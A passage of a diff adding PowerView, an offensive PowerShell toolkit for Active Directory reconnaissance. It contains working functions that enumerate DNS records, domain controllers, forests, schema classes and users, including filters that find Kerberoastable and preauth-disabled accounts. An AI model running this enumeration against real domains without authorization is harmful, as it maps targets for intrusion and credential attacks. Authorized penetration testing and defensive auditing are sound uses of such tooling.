about the DNS record entry. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DNSRecord')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ZoneName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $SearcherArguments = @{ + 'LDAPFilter' = '(objectClass=dnsNode)' + 'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $DNSSearcher = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher) { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() } + else { $Results = $DNSSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + try { + $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged + $Out | Add-Member NoteProperty 'ZoneName' $ZoneName + + # convert the record and extract the properties + if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { + # TODO: handle multiple nested records properly? + $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0] + } + else { + $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord + } + + if ($Record) { + $Record.PSObject.Properties | ForEach-Object { + $Out | Add-Member NoteProperty $_.Name $_.Value + } + } + + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord') + $Out + } + catch { + Write-Warning "[Get-DomainDNSRecord] Error: $_" + $Out + } + } + + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_" + } + } + $DNSSearcher.dispose() + } + } +} + + +function Get-Domain { +<# +.SYNOPSIS + +Returns the domain object for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current +domain or the domain specified with -Domain X. + +.PARAMETER Domain + +Specifies the domain name to query for, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-Domain -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Domain -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.Domain + +A complex .NET domain object. + +.LINK + +http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG +#> + + [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Credential']) { + + Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' + + if ($PSBoundParameters['Domain']) { + $TargetDomain = $Domain + } + else { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $TargetDomain = $Credential.GetNetworkCredential().Domain + Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" + } + + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" + } + } + elseif ($PSBoundParameters['Domain']) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" + } + } + else { + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch { + Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" + } + } + } +} + + +function Get-DomainController { +<# +.SYNOPSIS + +Return the domain controllers for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-Domain + +.DESCRIPTION + +Enumerates the domain controllers for the current or specified domain. +By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer +to search for domain controllers. + +.PARAMETER Domain + +The domain to query for domain controllers, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER LDAP + +Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainController -Domain 'test.local' + +Determine the domain controllers for 'test.local'. + +.EXAMPLE + +Get-DomainController -Domain 'test.local' -LDAP + +Determine the domain controllers for 'test.local' using LDAP queries. + +.EXAMPLE + +'test.local' | Get-DomainController + +Determine the domain controllers for 'test.local'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainController -Credential $Cred + +.OUTPUTS + +PowerView.Computer + +Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified. + +System.DirectoryServices.ActiveDirectory.DomainController + +If -LDAP isn't specified. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Computer')] + [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Switch] + $LDAP, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) { + if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server } + + # UAC specification for domain controllers + $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + + Get-DomainComputer @Arguments + } + else { + $FoundDomain = Get-Domain @Arguments + if ($FoundDomain) { + $FoundDomain.DomainControllers + } + } + } +} + + +function Get-Forest { +<# +.SYNOPSIS + +Returns the forest object for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertTo-SID + +.DESCRIPTION + +Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current +forest or the forest specified with -Forest X. + +.PARAMETER Forest + +The forest name to query for, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target forest. + +.EXAMPLE + +Get-Forest -Forest external.domain + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Forest -Credential $Cred + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition +to the forest root domain SID. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Credential']) { + + Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest" + + if ($PSBoundParameters['Forest']) { + $TargetForest = $Forest + } + else { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $TargetForest = $Credential.GetNetworkCredential().Domain + Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential" + } + + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" + $Null + } + } + elseif ($PSBoundParameters['Forest']) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_" + return $Null + } + } + else { + # otherwise use the current forest + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + } + + if ($ForestObject) { + # get the SID of the forest root + if ($PSBoundParameters['Credential']) { + $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid + } + else { + $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid + } + + $Parts = $ForestSid -Split '-' + $ForestSid = $Parts[0..$($Parts.length-2)] -join '-' + $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid + $ForestObject + } + } +} + + +function Get-ForestDomain { +<# +.SYNOPSIS + +Return all domains for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Returns all domains for the current forest or the forest specified +by -Forest X. + +.PARAMETER Forest + +Specifies the forest name to query for domains. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target forest. + +.EXAMPLE + +Get-ForestDomain + +.EXAMPLE + +Get-ForestDomain -Forest external.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestDomain -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.Domain +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.ActiveDirectory.Domain')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + if ($ForestObject) { + $ForestObject.Domains + } + } +} + + +function Get-ForestGlobalCatalog { +<# +.SYNOPSIS + +Return all global catalogs for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Returns all global catalogs for the current forest or the forest specified +by -Forest X by using Get-Forest to retrieve the specified forest object +and the .FindAllGlobalCatalogs() to enumerate the global catalogs. + +.PARAMETER Forest + +Specifies the forest name to query for global catalogs. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestGlobalCatalog + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestGlobalCatalog -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.GlobalCatalog +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + + if ($ForestObject) { + $ForestObject.FindAllGlobalCatalogs() + } + } +} + + +function Get-ForestSchemaClass { +<# +.SYNOPSIS + +Helper that returns the Active Directory schema classes for the current +(or specified) forest or returns just the schema class specified by +-ClassName X. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Uses Get-Forest to retrieve the current (or specified) forest. By default, +the .FindAllClasses() method is executed, returning a collection of +[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results. +If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] +result for the specified class name is returned. + +.PARAMETER ClassName + +Specifies a ActiveDirectorySchemaClass name in the found schema to return. + +.PARAMETER Forest + +The forest to query for the schema, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestSchemaClass + +Returns all domain schema classes for the current forest. + +.EXAMPLE + +Get-ForestSchemaClass -Forest dev.testlab.local + +Returns all domain schema classes for the external.local forest. + +.EXAMPLE + +Get-ForestSchemaClass -ClassName user -Forest external.local + +Returns the user schema class for the external.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred + +Returns the user schema class for the external.local domain using +the specified alternate credentials. + +.OUTPUTS + +[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] + +An ActiveDirectorySchemaClass returned from the found schema. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [Alias('Class')] + [ValidateNotNullOrEmpty()] + [String[]] + $ClassName, + + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + + if ($ForestObject) { + if ($PSBoundParameters['ClassName']) { + ForEach ($TargetClass in $ClassName) { + $ForestObject.Schema.FindClass($TargetClass) + } + } + else { + $ForestObject.Schema.FindAllClasses() + } + } + } +} + + +function Find-DomainObjectPropertyOutlier { +<# +.SYNOPSIS + +Finds user/group/computer objects in AD that have 'outlier' properties set. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer + +.DESCRIPTION + +A 'reference' set of property names is calculated, either from a standard set preserved +for user/group/computers, or from the array of names passed to -ReferencePropertySet, or +from the property names of the passed -ReferenceObject. Every user/group/computer object +(depending on determined class) are enumerated, and for each object, if the object has a +'non-standard' property set (meaning a property not held by the reference set), the object's +samAccountName, property name, and property value are output to the pipeline. + +.PARAMETER ClassName + +Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'. +If -ReferenceObject is specified, this will be automatically extracted, if possible. + +.PARAMETER ReferencePropertySet + +Specifies an array of property names to diff against the class schema. + +.PARAMETER ReferenceObject + +Specicifes the PowerView user/group/computer object to extract property names +from to use as the reference set. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Find-DomainObjectPropertyOutlier -ClassName 'User' + +Enumerates users in the current domain with 'outlier' properties filled in. + +.EXAMPLE + +Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local + +Enumerates groups in the external.local forest/domain with 'outlier' properties filled in. + +.EXAMPLE + +Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier + +Enumerates computers in the current domain with 'outlier' properties filled in. + +.OUTPUTS + +PowerView.PropertyOutlier + +Custom PSObject with translated object property outliers. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.PropertyOutlier')] + [CmdletBinding(DefaultParameterSetName = 'ClassName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')] + [Alias('Class')] + [ValidateSet('User', 'Group', 'Computer')] + [String] + $ClassName, + + [ValidateNotNullOrEmpty()] + [String[]] + $ReferencePropertySet, + + [Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')] + [PSCustomObject] + $ReferenceObject, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated') + + $GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated') + + $ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated') + + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + # Domain / Credential + if ($PSBoundParameters['Domain']) { + if ($PSBoundParameters['Credential']) { + $TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name + } + else { + $TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name + } + Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'" + } + + $SchemaArguments = @{} + if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential } + if ($TargetForest) { + $SchemaArguments['Forest'] = $TargetForest + } + } + + PROCESS { + + if ($PSBoundParameters['ReferencePropertySet']) { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet" + $ReferenceObjectProperties = $ReferencePropertySet + } + elseif ($PSBoundParameters['ReferenceObject']) { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set" + $ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name + $ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1 + Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass" + } + else { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'" + } + + if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) { + $Objects = Get-DomainUser @SearcherArguments + if (-not $ReferenceObjectProperties) { + $ReferenceObjectProperties = $UserReferencePropertySet + } + } + elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) { + $Objects = Get-DomainGroup @SearcherArguments + if (-not $ReferenceObjectProperties) { + $ReferenceObjectProperties = $GroupReferencePropertySet + } + } + elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) { + $Objects = Get-DomainComputer @SearcherArguments + if (-not $ReferenceObjectProperties) { + $ReferenceObjectProperties = $ComputerReferencePropertySet + } + } + else { + throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName" + } + + ForEach ($Object in $Objects) { + $ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name + ForEach($ObjectProperty in $ObjectProperties) { + if ($ReferenceObjectProperties -NotContains $ObjectProperty) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName + $Out | Add-Member Noteproperty 'Property' $ObjectProperty + $Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty + $Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier') + $Out + } + } + } + } +} + + +######################################################## +# +# "net *" replacements and other fun start below +# +######################################################## + +function Get-DomainUser { +<# +.SYNOPSIS + +Return all users or specific user objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all user objects for +the current domain are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. Also accepts DOMAIN\user format. + +.PARAMETER SPN + +Switch. Only return user objects with non-null service principal names. + +.PARAMETER UACFilter + +Dynamic parameter that accepts one or more values from $UACEnum, including +"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. + +.PARAMETER AdminCount + +Switch. Return users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER AllowDelegation + +Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' + +.PARAMETER DisallowDelegation + +Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' + +.PARAMETER TrustedToAuth + +Switch. Return computer objects that are trusted to authenticate for other principals. + +.PARAMETER PreauthNotRequired + +Switch. Return user accounts with "Do not require Kerberos preauthentication" set. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainUser -Domain testlab.local + +Return all users for the testlab.local domain + +.EXAMPLE + +Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" + +Return the user with the given SID, as well as Administrator. + +.EXAMPLE + +'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff + +lastlogoff samaccountname +---------- -------------- +12/31/1600 4:00:00 PM dfm.a +12/31/1600 4:00:00 PM dfm +12/31/1600 4:00:00 PM harmj0y +12/31/1600 4:00:00 PM Administrator + +.EXAMPLE + +Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation + +Search the specified OU for privileged user (AdminCount = 1) that allow delegation + +.EXAMPLE + +Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon + +Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon + +.EXAMPLE + +Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED + +Find users who doesn't require Kerberos preauthentication and DON'T have an expired password. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUser -Credential $Cred + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +Get-DomainUser dev\user1 -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) + +distinguishedname +----------------- +CN=user1,CN=Users,DC=dev,DC=testlab,DC=local + +.INPUTS + +String + +.OUTPUTS + +PowerView.User + +Custom PSObject with translated user property fields. + +PowerView.User.Raw + +The raw 